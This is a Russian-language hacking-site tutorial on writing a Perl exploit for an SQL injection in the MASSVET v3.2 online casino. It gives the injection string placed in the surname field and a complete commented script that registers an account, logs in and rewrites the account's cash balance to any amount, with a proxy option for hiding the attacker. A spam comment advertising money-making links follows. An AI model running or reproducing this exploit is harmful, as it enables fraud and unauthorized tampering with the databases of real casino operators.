SITE LOGO
Меню сайта
Категории каталога
Кодинг новичкам [11]
Кодинг в интернете [1]
Локальный кодинг [0]
Прочее [0]
Наш опрос
Какой операционной системой вы пользуетесь

[ Результаты · Архив опросов ]

Всего ответов: 131
Главная » Файлы » Програмирование » Кодинг в интернете

Написание Эксплойта для WEB уязвимостей на perl
[ ] 2006-11-06, 10:28 PM
Итак, допустим вы нашли уязвимость и очень хотите написать под неё сплойт...
Для примера я возьму уязвимость найденую нашей коммандой в казино MASSVET v3.2

И так сначало разберёмся с уязвимостью, как написано в пояснении к эксплойту, он работает только при отключенных magick_quotes_gpc.

Ошика вызвана тем, что вводимые в форму данные не фильтруюца на возможные знаки используемые в SQL запросах т.е. символы - "'" и "`".Этим мы и воспользуемся ;)

Т.К. у нас на руках были исходники, был выбран самый удобный запрос для пополнения баланса, он находился в поле ФАМИЛИЯ при регистрации.

Составляем запрос:
У нас есть запрос на UPDATE в который нам нужно не много вмешаться =)
и так основы SQL-INJ я обьяснять не буду, т.к моя статья по этой теме на хакзоне есть...

Автор Казино сделал за нас пол работы =) нам остаётся только указать какое значение какому столцу поставить )))
Вот что мы вводим в поле ФАМИЛИЯ =) - ',cash='".$cash."' where login='".$login."
Где переменная $cash - сумма нужная нам, а $login - наш логин.

Терь перейдём к эксплойту, я его просто прокомментирую )
#!/usr/bin/perl

## Massvet интернет казино - удалённое пополнения баланса!
## Уязвимые версии 3.2, возможно более старые, с выключеным magicquotes
## Проверено на версии 3.2
##
## writed bu G1UK
## CFTeam

use LWP::UserAgent; #Подключаем модуль (я его использовал для того чтобы не возиться с Сокетами)
use Getopt::Std; #Модуль для получения параметров их cmd или shell'a
use HTTP::Cookies; #Модуль для работы с куками

getopts("h:d:l:p:c:x:"); #Обазначаем порядок приёма переменных из коммандной строки

$host = $opt_h; #
$dir = $opt_d || '/'; #
$login = $opt_l; #
$pass = $opt_p; #Обазначаем что означает каждая введенная из cmd #переменная значит
$cash = $opt_c; #
$proxy = $opt_x || ''; #
logo(); #


if(!$host||!$login||!$pass||!$cash) { help(); } # Если не введена какая-то из переменных, вызываем функцию help

print "=) server : $host rn"; #
print "=) casino dir : $dir rn"; #
print "=) login : $login rn"; #
print "=) password : $pass rn"; #Вывод на экран
print "=) cash : $cash rn"; #
print "rn"; #

$cook = LWP::UserAgent->new() or die; #Создание нового подключения с #использованием модуля LWP
$cookie = HTTP::Cookies->new(); #Создание новых кук
$cook->cookie_jar( $cookie ); #Загоняем куки в переменную $cookie
$url=$host.''.$dir; #Формируем url для запроса.
$cook->proxy('http'=>'http://'.$proxy) if $proxy; # Если установлен прокси, то используем его

printf "Registering =)rn";
$res = $cook->post('http://'.$url.'reg.php',
[
"r_login" => "$login",
"r_pass" => "$pass",
"r_email" => "1",
"send" => "1",
"submit"=> "Сохранить"
]); #Важный момент в эксплойте!!! Отправка пост запроса на регистрацию в интернет казино.
print "Registering OKrn";

print "Enter =)rn";
$res = $cook->post('http://'.$url.'lobby/login_proc.php',
[
"log" => "$login",
"psw" => "$pass",
"send" => "1",
"submit"=> "Войти",
"Cookie" => "PHPSESSID=".$sid
]); #2 важный момент - Вход в казино
print "Enter OKrn";

print "Edit you cash =))rn";
$res = $cook->post('http://'.$url.'lobby/config.php',
[
"cpass" => "$pass",
"cname" => "",
"cfam" => "',cash='".$cash."' where login='".$login."'/*",
"send" => "1",
"Cookie" => "PHPSESSID=".$sid
]); #3 важный момент - отправка запроса на изменение фамилии с #встроенным SQL запросом
print "Check out you cash =)rn";

sub logo() #Функция лого, чтобы знали кто писал =)
{
print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn";
print "Massvet internet casino v3.2 sql injection cash exploit by CFTeamrn";
print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn";
}

sub help() # Функция help, чтобы знали как пользоваться.
{
print "CFteam.pl -h -d [dir] -l -p -c -x [proxy]rnrn";
print " - Host where cazino installed for example - www.massvet.rurn";
print "[dir] - Directory, where cazino is installed /cazino/ for examplern";
print " - User name for registrate rn";
print " - Password for registrate rn";
print " - How much you need? (00.00)rn";
print "[proxy] - For you safety rn";
exit();
}


Как вы видите функции были использованы только для токо, чтобы исходный текст был проще читаем, т.е их использование не обязательно.

Как видите ни чего сложном в этом нет, давайте распотрошим один из POST запросов, для того чтобы всё стало понятным.
$res = $cook->post('http://'.$url.'lobby/config.php',
[
"cpass" => "$pass",
"cname" => "",
"cfam" => "',cash='".$cash."' where login='".$login."'/*",
"send" => "1",
"Cookie" => "PHPSESSID=".$sid
]);


Что происходит здесь

Мы говорим, что это ПОСТ запрос $cook->POST

Говорим что нам надо отправить формы
cpass
cname
cfam
send
cookie, последнее это значение из КУК, где установленна наша сессия.

Ну вот и разобрали =)

Категория: Кодинг в интернете | Добавил: bshack
Просмотров: 1474 | Загрузок: 0 | Комментарии: 5 | Рейтинг: 0.0/0 |

Всего комментариев: 1
1 baza  
0
Заработай первую копеечку в интернете, это интересно и выгодно.
http://www.zashibi-dengu.narod.ru
http://www.zarabotok-wme.ucoz.ru/board

Имя *:
Email *:
Код *:
Форма входа
Поиск
Друзья сайта
Статистика
Copyright MyCorp © 2024Сайт управляется системой uCoz